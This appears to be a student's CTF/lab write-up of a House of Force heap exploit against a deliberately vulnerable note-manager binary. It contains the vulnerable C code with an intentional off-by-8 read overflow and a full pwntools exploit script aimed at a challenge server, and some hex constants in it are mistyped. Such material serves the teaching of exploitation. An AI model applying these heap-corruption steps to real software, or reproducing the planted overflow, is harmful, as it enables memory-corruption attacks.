

Overview: note-manager.c

The program (note-manager.c) is a simple note manager that allows users to create and view up to 3 heap-allocated notes, and includes an admin login function that prints a secret flag if secrets.authenticated equals 0x1337. It leaks the address of secrets.authenticated at startup via a debug print, and contains a heap overflow vulnerability in the note creation routine.

The idea is to apply the House of Force attack that overwrites the top chunk's size value, to let malloc think that has 0xffffffff amount of size of top chunk, giving the capability of the user to move wherever he wants the main_arena->top points, giving the write-what-where capability to the user. This technique is exploited to overwrite secrets.authenticated with 0x1337, triggering the admin login branch and leaking the flag.

```

pwndbg> vis
0x5587c65cd000  0x0000000000000000  0x0000000000000021  .....!.....
0x5587c65cd010  0x00005587c65cd030  0x0000000000000018  0.\.U.....
0x5587c65cd020  0x0000000000000000  0x0000000000000021  .....!.....
0x5587c65cd030  0x4141414141414141  0x4141414141414141  AAAAAAAAAAAAAA
0x5587c65cd040  0x4141414141414141  0xffffffffffffff  AAAAAAA..... <-- Top chunk
pwndbg> p/x main_arena.top
$2 = 0x5587c65cd040
pwndbg> x/4gx notes[0]
0x5587c65cd010: 0x00005587c65cd030  0x0000000000000018
0x5587c65cd020: 0x0000000000000000  0x0000000000000021

```

Constraints and Adaptations

Firstly, it was important to use checksec:

```

| '/heap/note-manager/note_manager'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
RUNPATH:   b'/heap/glibc/glibc_2.28_no-tcache'
SHSTK:     Enabled
IBT:       Enabled
Stripped:  No
Debuginfo: Yes

```

From the checksec output, it is possible to identify the following constraints:

- **Full RELRO:** the GOT is read-only, so it is not possible to overwrite function pointers in the GOT to redirect execution.

- **PIE enabled:** the binary is loaded at a random base address at every execution. It is possible to work around this only because the program leaks `&secrets.authenticated` directly at startup, giving an absolute address in the `.data` section that bypasses ASLR.
- **NX enabled:** the stack and heap are not executable, so shellcode injection is not an option.
- **Seccomp whitelist:** the binary installs a strict seccomp filter that allows only a minimal set of syscalls (`read`, `write`, `mmap`, `brk`, `exit_group` and a few others), explicitly blocking `execve`. This means that traditional code execution techniques — such as overwriting `__malloc_hook` with a one-gadget to spawn a shell — are completely ineffective.
- **Vulnerable glibc version (2.28, no-tcache):** House of Force was removed in glibc 2.29. The fact that the binary is explicitly linked against glibc 2.28 means that the top chunk size check (`corrupted top size`) is not present, making the attack viable.

Given these constraints, the goal shifts from code execution to an arbitrary write on a known target: In the next paragraph, it has been shown that the flag is already loaded into `secrets.win_flag`, it is sufficient to write `0x1337` into `secrets.authenticated` to trigger the admin branch and leak the flag. House of Force is the natural choice as it provides exactly this write-what-where primitive with the available glibc version.

Vulnerability Analysis

Analysing the `note_manager.c`, it is possible to find multiple important pieces of information:

- It has been defined a struct `secret_t` and in line 46 it has been already initialized.

```
5 typedef struct {
4     char win_flag[FLAG_MAX_LEN];
3     long unsigned int authenticated;
2 } secrets_t;
1
46 secrets_t secrets = { .authenticated = 0, .win_flag = "" };
1
```

This means that the `secrets_t` variable is being stored in the `.data`, and with a proper leak it can be reached. Conveniently, because in line 187 there is a `printf` of that memory address.

- In line 156 it is defined `admin_login` function which contains a check “`secrets.authenticated == 0x1337`”.

```

1
156 void admin_login() {
1   if (secrets.authenticated == 0x1337) {
2       puts("\n*** ADMIN ACCESS GRANTED ***");
3       printf("Secret: %s\n", secrets.win_flag);
4   } else {
5       printf("Access denied (auth = 0x%x)\n", secrets.authenticated);
6   }
7 }

```

This means that it is known explicitly the value required to access as ADMIN

- In line 114 it is defined create_note().

```

114 void create_note() {
115     int idx = -1;
116     for (int i = 0; i < MAX_NOTES; i++) {
117         if (!notes[i]) {
118             idx = i;
119             break;
120         }
121     }
122
123     if (idx == -1) {
124         puts("No more space for notes!");
125         return;
126     }
127
128     printf("Size: ");
129     size_t size = read_number();
130
131     printf("DEBUG: Allocating memory for note struct (%ld bytes)\n", sizeof(note_t));
132     notes[idx] = malloc(sizeof(note_t));
133     notes[idx]->size = size;
134     notes[idx]->content = malloc(size);
135
136     printf("Content: ");
137     size_t actual = malloc_usable_size(notes[idx]->content);
138     read(0, notes[idx]->content, actual + 8);
139
140     printf("DEBUG: Note %d created at %p\n", idx, notes[idx]->content);
141 }

```

The `create_note()` function finds the first free slot in the `notes` array, allocates a `note_t` struct on the heap via `malloc(sizeof(note_t))`, then allocates a separate content buffer of the user-requested size via `malloc(size)`. It then reads user input into the content buffer at line 138: `read(0, notes[idx]->content, actual + 8)`, where `actual = malloc_usable_size(notes[idx]->content)` is the real usable size of the allocated chunk. The vulnerability lies in the `+8` offset: by allowing 8 bytes more than the chunk can contain, the `read()` call overflows into the size field of the immediately adjacent chunk — which, if the content buffer is the last allocation on the heap, is the top chunk. Those 8 extra bytes are precisely enough to overwrite the top chunk's size field with an arbitrary value, such as `0xffffffffffffff`, which is the starting primitive of the House of Force attack.

Heap Structures & Memory Layout

In glibc's `ptmalloc2`, every heap allocation is represented as a chunk with a two-field header: `prev_size` (8 bytes, used only when the previous chunk is free) and `size|flags` (8 bytes, encoding the chunk size and three flag bits). The pointer returned by `malloc()` — the user pointer — points 16 bytes past the start of the chunk header. The top chunk is a special chunk at the end of the heap that satisfies all new allocation requests by carving memory from itself; its size field tells `malloc` how much space remains. In this binary, each `create_note()` call produces two consecutive chunks:

a `note_t` struct chunk of size `0x20` followed by the content chunk of the requested size. This double-allocation layout is critical for the displacement formula, as both struct chunks must be accounted for when computing how far to move the top chunk.

Exploitation Strategy (step by step)

The idea is to apply the House of Force attack. The source code is in the end of the PDF. It is used the exact same lab layout for GDB=1 and DEMO, this means that it was required to run the exploit inside a `tmux` shell.

First, it was required to retrieve the `auth_addr`:

```
28 # — Start —————
27 io = start()
26
25 io.recvuntil(b"DEBUG: auth @ ")
24 auth_addr = int(io.recvline().strip(), 16)
23 log.success(f"auth_addr = {hex(auth_addr)}")
```

The exploitation consists of three steps.

1. In Step 1, a note of size `0x18` is created with content `"A" * 0x18 + p64(0xffffffffffffffff)`: the 24 bytes of padding fill the content buffer exactly, and the trailing 8 bytes overflow into the top chunk's size field, overwriting it with `0xffffffffffffffff` and tricking `malloc` into believing it has unlimited heap space. Also, `create_note` returns the actual memory leak that contains the content0 chunk + `0x10` bytes.

```
26 # corrupting the top chunk size to trick malloc to think it has "a lot" of
25 # space
24 content0 = create_note(0x18, b"A" * 0x18 + p64(0xffffffffffffffff))
23 log.success(f"content0 = {hex(content0)}")
22 log.info(f"top chunk = {hex(content0 + 0x10)}")
21 demo("Step 1 completed _ check: p/x main_arena.top")
```

In GDB, as we can see below, it is clearly visible that the 2 chunks have been allocated and the top chunk size has been overwritten with `0xffffffffffffffff`.

```
pwndbg> vis
0x56357fa35000 0x0000000000000000 0x0000000000000021 .....!.....
0x56357fa35010 0x000056357fa35030 0x0000000000000018 0P..5V.....
0x56357fa35020 0x0000000000000000 0x0000000000000021 .....!.....
0x56357fa35030 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAA
0x56357fa35040 0x4141414141414141 0xffffffffffffffff AAAAAAA.....
pwndbg> p/x main_arena.top
$1 = 0x56357fa35040
pwndbg> x/4gx notes[0]
0x56357fa35010: 0x000056357fa35030 0x0000000000000018
0x56357fa35020: 0x0000000000000000 0x0000000000000021
```

2. In Step 2, a second note is created with a carefully computed size `X` to move `main_arena->top` to exactly `auth_addr - 0x30`: the displacement `D` is calculated as $(\text{auth_addr} - \text{top_chunk} - 0x50) \& 0xffffffffffffffff$, where `top_chunk = content0 + 0x10` is the current top chunk address, `0x20`

accounts for the `note_t` struct malloc of Step 2, another `0x20` for the `note_t` struct malloc of Step 3, and `0x10` ensures the top lands one chunk header before `auth_addr`; `X = D - 8` corrects for `request2size`, which would otherwise add 16 bytes of overhead and overshoot the target.

```

19 # the 0x50 = 0x20+0x20+0x10, where the 0x20 consider the first malloc for the
18 # struct note_t, which is done twice for step2 and step 3, and the 0x10 is
17 # because the top chunk should land 0x10 before.
16 top_chunk = content0 + 0x10
15 D = (auth_addr - top_chunk - 0x50) & 0xffffffffffffffff
14 X = D - 8 # required for request2size
13 log.info(f"D = {hex(D)}, X = {hex(X)}")
12 create_note(X, b"B")
11 demo("Step 2 completed _ check: p/x main_arena.top (should be auth_addr - 0x30)")
10

```

In GDB, we can see the new `main_arena.top` address and the fact that it is `0x30` addresses distant from `secrets.authenticated`.

```

pwndbg> p/x main_arena.top
$11 = 0x564a2f7e2810
pwndbg> p/x &secrets.authenticated
$12 = 0x564a2f7e2840
pwndbg> p/x (long)&secrets.authenticated - (long)main_arena.top
$13 = 0x30

```

3. In Step 3, a final note of size 8 is created with content `p64(0x1337)`: the first `malloc(sizeof(note_t))` advances the top by `0x20` to `auth_addr - 0x10`, and the second `malloc(8)` allocates a chunk whose header sits at `auth_addr - 0x10`, making the user pointer land exactly on `auth_addr` — `secrets.authenticated` — where `0x1337` is written, unlocking the admin branch and leaking the flag.

```

9 create_note(8, p64(0x1337))
8 demo("Step 3 completed _ check: p/x secrets.authenticated (should be 0x1337)")
7

```

Proof

Script execution:

```
/heap/note-manager [C v13.3.0-gcc][__ v3.12.3(.venv)]
_ 0 _ [Docker] _ python3 exploit.py REMOTE
[*] '/heap/note-manager/note_manager'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
RUNPATH:   b'/heap/glibc/glibc_2.28-no-tcache'
SHSTK:     Enabled
IBT:       Enabled
Stripped:  No
Debuginfo: Yes
[+] Opening connection to nue.tuns.sh on port 27202: Done
[+] auth_addr = 0x6133c8436840
[+] content0 = 0x6133fc303030
[*] top_chunk = 0x6133fc303040
[*] Step 1 completed _ check: p/x main_arena.top
[*] D = 0xffffffffcc1337b0, X = 0xffffffffcc1337a8
[*] Step 2 completed _ check: p/x main_arena.top (should be auth_addr - 0x30)
[*] Step 3 completed _ check: p/x secrets.authenticated (should be 0x1337)
[+] FLAG: FLAG{U2FsDGVkX1+TEWLjp2Tp8KiUjeDtxCZJnLrppH+anWzCAAsEBY/UM9zL/hBNPJvfyteHHsL0wRV8Zqw6KUf3UeibF
Ek6zVAgvjo62wqo+jqmfgLRZfnSRE89KWIBNKKMsbs0Zn99j/m08P9K5399lRrt/LaimI/vsngKlV3a/8=}
[*] Proof_ check the flag
[*] Closed connection to nue.tuns.sh port 27202
```

GDB check (without REMOTE's flag):

```
pwndbg> print secrets
$3 = {
  win_flag = "FLAG{placeholder_set_flag_file}", '\000' <repeats 1977 times>...,
  authenticated = 0x1337
}
```

AI Usage

During the development of this exploit, I used LLMs as interactive tools to support my understanding of the heap exploitation techniques involved. Specifically, I used it to verify my reasoning on the House of Force mechanics, to debug protocol issues in the pwntools script (such as recvuntil synchronization), and to cross-check the arithmetic behind the displacement formula. All exploitation decisions — identifying the vulnerability, designing the three-step strategy, and deriving the memory layout — were made independently. The AI was used as a knowledgeable discussion partner, not as a code generator.

Source Code

```
#!/usr/bin/env python3
from pwn import *
import os
import sys

# — Config —
BINARY_PATH = "note_manager"

context.arch = "amd64"
context.log_level = "info"
context.binary = elf = ELF(BINARY_PATH, checksec=True)

libc_dir = "/heap/glibc/glibc_2.28_no-tcache"

gs = f"""
directory {libc_dir}
b create_note
continue
"""

def start():
    if args.GDB:
        context.terminal = ["tmux", "new-window"]
        return gdb.debug(elf.path, gdbscript=gs)
    elif args.REMOTE:
        return remote("nue.tuns.sh", 27202)
    else:
        return process(elf.path)

def demo(msg):
    log.info(msg)
    if os.getenv("DEMO_MODE"):
        pause()

# — Primitives —
def menu(choice):
    io.recvuntil(b"> ")
    io.sendline(str(choice).encode())

def create_note(size, content):
    menu(1)
    io.recvuntil(b"Size: ")
    io.sendline(hex(size).encode())
```

```
io.recvuntil(b"Content: ")
io.send(content)
io.recvuntil(b"created at ")
addr = int(io.recvline().strip(), 16)
return addr

def admin_login():
    menu(3)

# — Start —————
io = start()

io.recvuntil(b"DEBUG: auth @ ")
auth_addr = int(io.recvline().strip(), 16)
log.success(f"auth_addr = {hex(auth_addr)}")

# corrupting the top chunk size to trick malloc to think it has "a lot" of
# space
content0 = create_note(0x18, b"A" * 0x18 + p64(0xfffffffffffffff))
log.success(f"content0 = {hex(content0)}")
log.info(f"top chunk = {hex(content0 + 0x10)}")
demo("Step 1 completed _check: p/x main_arena.top")

# the 0x50 = 0x20+0x20+0x10, where the 0x20 consider the first malloc for the
# struct note_t, which is done twice for step2 and step 3, and the 0x10 is
# because the top chunk should land 0x10 before.
top_chunk = content0 + 0x10
D = (auth_addr - top_chunk - 0x50) & 0xfffffffffffffff
X = D - 8 # required for request2size
log.info(f"D = {hex(D)}, X = {hex(X)}")
create_note(X, b"B")
demo("Step 2 completed _check: p/x main_arena.top (should be auth_addr - 0x30)")

create_note(8, p64(0x1337))
demo("Step 3 completed _check: p/x secrets.authenticated (should be 0x1337)")

# — Win —————
admin_login()
io.recvuntil(b"Secret: ")
flag = io.recvline().strip()
log.success(f"FLAG: {flag.decode()}")
demo("Proof_ check the flag")

io.close()
```